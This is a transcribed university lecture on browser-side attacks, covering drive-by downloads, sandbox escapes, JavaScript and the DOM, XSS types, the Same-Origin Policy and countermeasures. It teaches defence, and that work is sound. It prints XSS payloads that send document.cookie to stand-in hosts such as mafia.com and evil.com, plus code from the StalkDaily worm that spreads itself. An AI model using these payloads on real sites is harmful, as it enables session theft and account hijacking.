Attacks on Clients: Dynamic Content & XSS



Similar documents
Attacks on Clients: Dynamic Content & XSS

A Tale of the Weaknesses of Current Client-Side XSS Filtering

Cross Site Scripting Prevention

Web-Application Security

Universal XSS via IE8s XSS Filters

A Tale of the Weaknesses of Current Client-side XSS Filtering

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Cross-Site Scripting

Project 2: Web Security Pitfalls

JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Finding XSS in Real World

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Network Security Web Security

Complete Cross-site Scripting Walkthrough

Phishing by data URI

Relax Everybody: HTML5 Is Securer Than You Think

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Analysis of Browser Defenses against XSS Attack Vectors

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Web Application Exploits

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Criteria for web application security check. Version

Web Application Security

Intrusion detection for web applications

Exploits: XSS, SQLI, Buffer Overflow

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Understanding Cross Site Scripting

Preparing for the Cross Site Request Forgery Defense

Blackbox Reversing of XSS Filters

Cross Site Scripting in Joomla Acajoom Component

Security Model for the Client-Side Web Application Environments

Protection, Usability and Improvements in Reflected XSS Filters

Check list for web developers

Recommended Practice Case Study: Cross-Site Scripting. February 2007

RIA SECURITY TECHNOLOGY

Web Application Worms & Browser Insecurity

Web Tracking for You. Gregory Fleischer

Uploaded images filter evasion for carrying out XSS attacks

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

HTTPParameter Pollution. ChrysostomosDaniel

Short notes on webpage programming languages

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Defending against XSS,CSRF, and Clickjacking David Bishop

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

XSS Lightsabre techniques. using Hackvertor

HOD of Dept. of CSE & IT. Asst. Prof., Dept. Of CSE AIET, Lko, India. AIET, Lko, India

Application security testing: Protecting your application and data

Guideline For Securing Your Web Browser

The Prevalence of Flash Vulnerabilities on the Web

Are AJAX Applications Vulnerable to Hack Attacks?

Example. Represent this as XML

Sitefinity Security and Best Practices

Web application security

Next Generation Clickjacking

Penetration Test Report

Columbia University Web Security Standards and Practices. Objective and Scope

Cross Site Scripting (XSS) Exploits & Defenses. OWASP Denver, Colorado USA. The OWASP Foundation. David Campbell Eric Duprey.

Client-Side Cross-Site Scripting Protection

Client-side Web Engineering From HTML to AJAX

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Penetration Testing with Kali Linux

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Webapps Vulnerability Report

WEB SECURITY. Oriana Kondakciu Software Engineering 4C03 Project

A Survey on Threats and Vulnerabilities of Web Services

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

How To Understand The History Of The Web (Web)

Where every interaction matters.

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Sandy. The Malicious Exploit Analysis. Static Analysis and Dynamic exploit analysis. Garage4Hackers

Cyber Security Workshop Ethical Web Hacking

Gateway Apps - Security Summary SECURITY SUMMARY

Pwning Intranets with HTML5

Chapter 1 Web Application (In)security 1

Security features of ZK Framework

Last update: February 23, 2004

Advanced XSS. Nicolas Golubovic

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Firefox, Opera, Safari for Windows BMP file handling information leak. September Discovered by: Mateusz j00ru Jurczyk, Hispasec Labs

Web application security: Testing for vulnerabilities

InPost UK Limited GeoWidget Integration Guide Version 1.1

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

JavaScript Security. John Graham Cumming

WEB ATTACKS AND COUNTERMEASURES

Dr. Seltsam, oder wie ich lernte, Malware zu lieben

Security starts in the head(er)

Web Application Security Considerations

Web Application Guidelines

Introduction to Computer Security

CTF Web Security Training. Engin Kirda

Transcription:

Web Security Attacks on Clients: Dynamic Content & XSS (Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS) 1

Recap from last lecture Attacks on web server: attacker/client sends malicious input to server with the goal to do some damage... malicious input execution to dynamically create a webpage web server 2

Recap from last lecture Dynamically created webpages & injection attacks another user of the same website (discussed in this lecture) malicious input web server OS data base file system 3

Attacks on client Client, ie web browser, can be attacked by malicious input Even the human user can be attacked: recall URL obfuscation web browser web server 4

Example client side problem 5

Browser bugs Web browser gets untrusted input from web server or third party Bugs in the browser can become exploitable vulnerabilities also bugs in browser add-ons, or other helper applications Classic Denial of Service (DoS) example: IE image crash image with huge size could crash Internet Explorer and freeze Windows machine <HTML><BODY> <img src= a.jpg width = 999999999 height= 99999999 > </BODY><HTML> Things get more interesting as processing in the browser gets more powerful, and languages involved are more complex 6

More dangerous browser bugs Denial of Service bugs are the least of your worries... Possibility of drive-by-downloads where just visiting a webpage can install malware, by exploiting security holes in browser, graphics libraries, media players,... Homework exercise: check securityfocus.com for security vulnerabilities for your favourite web browser 7

Drive-by-download example Visit a webpage that contains Javascript code with three parts: shellcode (binary instructions encoded as string) heap spray (inject numerous copies of shellcode into heap) create vulnerable object and exploit to manipulate instruction pointer register and execute shellcode 8

Dynamic webpages (Sect 7.1.3 & 7.2.4 in book) 9

Recall: dynamic webpages Most web pages do not just contain static HTML, but are dynamic: ie they contain executable content. This is an interesting attack vector. execution aka processing client-side scripting web browser web server 10

Dynamic Content Languages for dynamic content: JavaScript Flash, Silverlight,... ActiveX Java... JavaScript is by far the most widespread of these technologies: nearly all web pages include JavaScript CSS Cascading Style Sheets defines layout of headers, links, etc; not quite execution, but can be abused, and can contain JavaScript 11

Dynamic Content Usage of client-side programming languages for websites (for top 10 million websites in Alexa popularity ranking) (source: http://w3techs.com/technologies/history_overview/client_side_language/) 12

Controlling Dynamic Content (7.2.4) Executing dynamic content can be controlled inside a sandbox NB the sandbox is made from software if there are security vulnerabilities in this software, all bets are off, and attacker might escape... 13

Sandbox escaping example Adobe Reader Sandbox is composed of two processes: sandbox/renderer process: responsible for parsing and rendering PDF content broker process: responsible for executing privileged operations (called on behalf of sandbox process; sandbox policy specifies what privileged operations are allowed) 14

Sandbox escaping example Vulnerability in call to some privileged operation GetClipboardFormatNameW(format, name->buffer, name->size); name->buffer: pointer to an output buffer name->size: size of output buffer (in bytes!) Programmer used number of characters, instead of bytes Character consists of two bytes Hence output buffer is considered to be twice its actual size!!! Exploiting this vulnerability to write past the boundary of output buffer carefully crafting the heap layout overwrite and control an object s virtual function table pointer Same code not only used in sandbox of Adobe Reader, but also in sandbox of Adobe Flash Player for Firefox (Firefox Flash) 15

ActiveX controls vs Java applets Windows only technology, runs in Internet Explorer (IE). binary code executed on behalf of the browser. can access user files support for signed code plus Microsoft OS update can set kill bit to stop dangerous controls an installed control can be run from any website (up to IE7) IE configuration options allow, block, prompt also control by administrator platform independent downside: OS patching might miss Java patching bytecode executed on virtual machine within browser binary code is for specific machine, byte code is interpreted by virtual machine restrictive sandbox support for signed code What is the Kill-Bit? Kill-Bit (or killbit) is not actually a bit Kill-Bit is a registry entry for a particular ActiveX control, marking it as sandboxing non-loadable configuration in browser Microsoft releases Kill-Bits in security updates to block vulnerable ActiveX controls applet only runs on site where it is embedded 16

JavaScript & the DOM (Sect 7.1.3) 17

JavaScript JavaScript is the leading language used in client-side scripting embedded in web page to support client-side dynamic behaviour ie. executed in user's webbrowser reacting on events (eg keyboard) and interacting with webpage developed by Netscape, later standardised by ECMA JavaScript has NOTHING to do with Java typical uses: dynamic user interaction with the web page Eg opening and closing menus, changing pictures,... JavaScript code can completely rewrite the contents of an HTML page! client-side input validation Eg has the user entered a correct date, a syntactically correct email address or credit card number, or a strong enough password? NB such validation should not be security critical! Why? Malicious client can by-pass such validation! 18

JavaScript (Sect 7.1.3 in book) scripting language interpreted by browser, with code in the HTML <script type= text/javascript >... </script> optional, default is javascript Built-in functions eg to change content of the window <script> alert( Hello World! ); </script> A web page can define additional functions <script>function hi(){alert( Hello World! );}</script> built-in event handlers for reacting to user actions <img src= pic.jpg onmouseover= javascript:hi() > Demo/example: http://www.cs.ru.nl/~erikpoll/websec/demo/demo_javascript.html 19

DOM (Document Object Model) DOM is representation of the content of a webpage, in OO style Webpage is an object document with sub-objects, such as document.url, document.referrer, document.cookie, 20

DOM (Document Object Model) JavaScript can interact with the DOM to access or change parts of the current webpage incl. text, URL, cookies,... This gives JavaScript its real power! Eg it allows scripts to change layout and content of the webpage, open and menus in the webpage,... Demo/example: http://www.cs.ru.nl/~erikpoll/websec/demo/demo_dom.html 21

Security features The user environment is protected from malicious JavaScript programs by a sand-boxing environment inside browser JavaScript programs are protected from each other by compartementalisation Same-Origin-Policy: code can only access resources with the same origin site (more on that later) As we already saw and will see, such protection has its limits... 22

Recipe for security disasters? In a web browser we have classic ingredients for disaster untrusted executable content, coming from all over the web JavaScript (also Flash, Active X, Java) confidential information usernames, passwords, cookies, credit card numbers, content of emails, any information entered in web forms,... sensitive functionality ability to email, tweet, buy things, pay for things, Unfortunately, JavaScript is so widely used that turning it off is not an option Web-browser has become attractive place to attack 23

HTML injection & XSS 24

Search engine example sos Search No matches found for sos 25

Search engine example <h1>sos</h1> Search No matches found for sos 26

What proper input validation should produce <h1>sos</h1> Search No matches found for sos or <h1>sos</h1> Search No matches found for <h1>sos</h1> Here < and > written as < and > in the HTML source 27

What can happen if we enter more complicated HTML code as search term? <img source=http://www.spam.org/advert.jpg> <img source= Search No matches found for 28

What can happen if we enter more complicated HTML code as search term? <script language= text/javascript"> </script> alert( Hello World! ); <script langu Search No matches found for Here we entered executable code (JavaScript) Such HTML injection is called Cross Site Scripting (XSS) 29

HTML injection HTML injection: user input is echoed back to the client without validation or escaping But why is this a security problem? 1 simple HTML injection attacker can deface a webpage, with pop-ups, ads, or fake info http://cnn.com/search?string= <h1>us troops invade Syria</h1> <img=...> Such HTML injections abuses trust that a user has in a website: the user believes the content is from the website, when in fact it comes from an attacker 2 XSS the injected HTML contains executable content, typically JavaScript Execution of this code can have all sorts of nasty effects... 30

XSS (Cross Site Scripting) Attacker inject scripts into a website, such that scripts are passed on to a victim scripts are executed in the victim s browser with the victim s access rights with the victim s data incl. cookies interacting with the user, with the webpage (using the DOM), causing new HTTP requests,... Usually injected scripts are JavaScript, but could be Flash, ActiveX, Java,... 31

Simple HTML injection browser malicious output web server 32

XSS processing of malicious scripts malicious output incl. scripts browser web server unwanted requests another web server 33

Stealing cookies with XSS Consider http://victim.com/search.php?term=<script> window.open( http://mafia.com/steal.php?cookie= + document.cookie)</script> What if user clicks on this link? 1. browser goes to http://victim.com/search.php 2. website victim.com returns <HTML> Results for <script>...</script> </HTML> 3. browser executes script and sends mafia his cookie 34

Stealing cookies using XSS More stealthy way of stealing cookies <script> img = new Image(); img.src = http://mafia.com/ + </script> encodeuri(document.cookie) Better because the user won t notice a change in the webpage when this script is executed, unlike the one on the previous page 35

Delivery mechanism for XSS Different ways for an attacker to get scripts on to the victim s browsers 0. DOM-based XSS 1. Reflected aka non-persistent XSS 2. Stored aka persistent XSS 36

Scenario 0: DOM-based attack Attacker injects malicious content into a webpage via existing scripts in that webpage that interact with the DOM Eg, the javascript code <script> var pos=document.url.indexof("name=")+5; document.write(document.url.substring(pos,document.url.length)); </script> in webpage will copy name parameter from URL into that webpage Eg, for http://bla.com/welcome.html?name=jan it will return Jan But what if the URL contains javascript in the name? eg http://bla.com/welcome.html?name=<script>... An attacker can now use a malicious URL (as in a reflected attack) 37

Scenario 0: DOM-based attack The injected payload can for instance be in the URL Details depend on the browser eg. browser may encode < and > in URL A good web application might spot a malicious URL but...the server may be by-passed and never get to see the malicious payload! http://bla.com/welcome.html#name=<script>...<script> Part of the URL after # is not sent to bla.com, but is part of document.url So server-side validation can t help... 38

Scenario 1: reflected XSS attack Attacker crafts a special URL for a vulnerable web site, often a URL containing JavaScript Attacker then tempts victim to click on this link by sending an email that includes the link, or posting this link on a website 39

reflected aka non-persistent XSS malicious URL web server HTML containing malicious output 40

Example of reflected XSS attack Web Server Attacker User 3. XSS Attack 7. Browser runs injected code; attacker obtains cookie 4. User clicks on XSS link 41

Variant of reflected XSS: exploiting browser bug/feature Make someone click on <a href= http://trusted.com/ <script> document.location='http://evil.com/steal.php?' + document.cookie </script> >Click here for your free prize!</a> Then trusted.com will produce error message to browser due to malformed HTML: missing <a which may include the script which the browser may then execute! 42

Scenario 2: stored XSS attack Attacker injects HTML - incl. scripts - into a web site, which is stored at that web site This is echoed back later when victim visit the same site Typical examples where attacker can try this some web forum a book review on amazon.com a posting on blackboard.ru.nl... Web2.0 web sites, which allow user-generated content, are ideal for this. 43

Stored aka persistent XSS attacker storing malicious content on website malicious input web server data base HTML containing malicious output another user of the same website 44

XSS vulnerability on twitter 45

Example: persistent XSS attack on Google docs save as CSV file in spreadsheets.google.com some web browsers render this content as HTML, and execute the script! this then allows attacks on gmail.com, docs.google.com, code.google.com,.. because these all share the same cookie Is this the browser s fault, or the web-site s (ie google docs) fault? 46

Included in twitter profile: Twitter StalkDaily worm <a href="http://stalkdaily.com"/><script src="http://evil.org/attack.js >... where attack.js includes the following attack code var update = urlencode("hey everyone, join www.stalkdaily.com."); var ajaxconn = new XHConn();... ajaxconn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+ &tab=home&update=update"); var set = urlencode('http://stalkdaily.com"></a><script src="http://evil.org/attack.js"> </script><script src="http://evil.org/attack.js"></script><a '); ajaxconn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+set+ &tab=home&update=update"); executed when you see this profile tweet the link change profile to include the attack code! 47

Same-Origin-Policy 48

Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with client browser twitter.com mafia.com 49

Same-Origin-Policy (SOP) Same-Origin-Policy intended to prevent attack from a malicious website on other web pages a user is interacting with Basic idea Scripts can only access information with same origin where origin is triple <URI scheme, address, port> eg <http, ru.nl, 80>, <https, ru.nl, 1080> HTML content belongs to origin where it was downloaded Scripts included in a HTML document have the origin of that document including them rationale: author of HTML page should know that scripts he includes are harmless See demos in http://www.cs.ru.nl/~erikpoll/websec/demo/test_sop.html and http://www.cs.ru.nl/~erikpoll/websec/demo/test_sop2.html 50

Will SOP prevent cookie stealing? Suppose attacker injects cookie stealing script in blackboard.ru.nl Will the SOP prevent this script from accessing cookie? No! Scripts included in blackboard.ru.nl will have access to the cookie of that domain. Even if the scipt is included via a link, such as <script src= http://mafia.com/steal_cookie.js > 51

Circumventing the Same-Origin-Policy user s browser can t distinguish between good & bad scripts attacker uploads malicious content client browser attacker browser twitter.com mafia.com 52

Countermeasures against XSS 53

Recap XSS involves attacker getting malicious (java)scripts in victim s browser, so that they are executed in the victim s browser with the victim s rights in the context of a web page from the attacked site typical example: trying to steal cookies XSS is a special form of HTML injection the attacker injects HTML that happens to include scripts reflected or stored attack, or injected via DOM Same-Origin-Policy does not prevent this 54

HTML injection vs SQL injection Common theme: attacker injects malicious data with special meaning, using special characters or words using ;... in SQL using <img> <script>... in HTML which gets interpreted to have harmful consequence Difference: SQL injection is a server-side problem only HTML injection or XSS is client-side problem, but also a server-side problem, esp. in the case of stored/persistent XSS hence: not so clear who should or could solve the problem: the browser or the server? 55

Input vs output problems? Is XSS due to lack of input validation or a lack of output validation 1. for reflected XSS attack? 2. for stored XSS attack? Should we do input validation or output validation to prevent XSS? Should the web browser or the server do this? Why not both? 56

Client-side countermeasures Most browsers can block pop-up windows & multiple alerts Browser can disable scripts on a per-domain basis disallowing all script except those permitted by user disallowing all scripts on a public blacklist For example, NoScript extension of Firefox NotScripts and ScriptSafe extension of Chrome Browser can sanitize outgoing content in HTTP requests of GET/POST parameters, URL, referred header,.. Does not help with stored XSS. Why? Ad-blocker plugins can also reduce the risk of XSS 57

Server-side countermeasures Server should validate (escape) HTML tags in content This could be done for inputs entering the web application, eg using a web application firewall could be used or when data exiting the web application to be stored in database This could also be done when data enters the web application from the database Prevent cookie stealing by using tagged cookies include IP address in cookie only allow access to original IP address that cookie was created for 58

XSS attacker tricks How does attacker send information to herself? E.g. by changing the source of an image document.images[0].src= www.attacker.com/ + document.cookie; How much code can attacker inject? We re on the web! Attacker can use a URLs to download scripts document.scripts(0).src ="http://mafia.com/evilscript.js Form redirecting: an XSS script can redirect the target of a form to steal the form values (e.g., passwords) What if a web application does not allow use of /? var n = new RegExp( http: myserver evilscr.js ); forslash = location.href.charat(6);... 59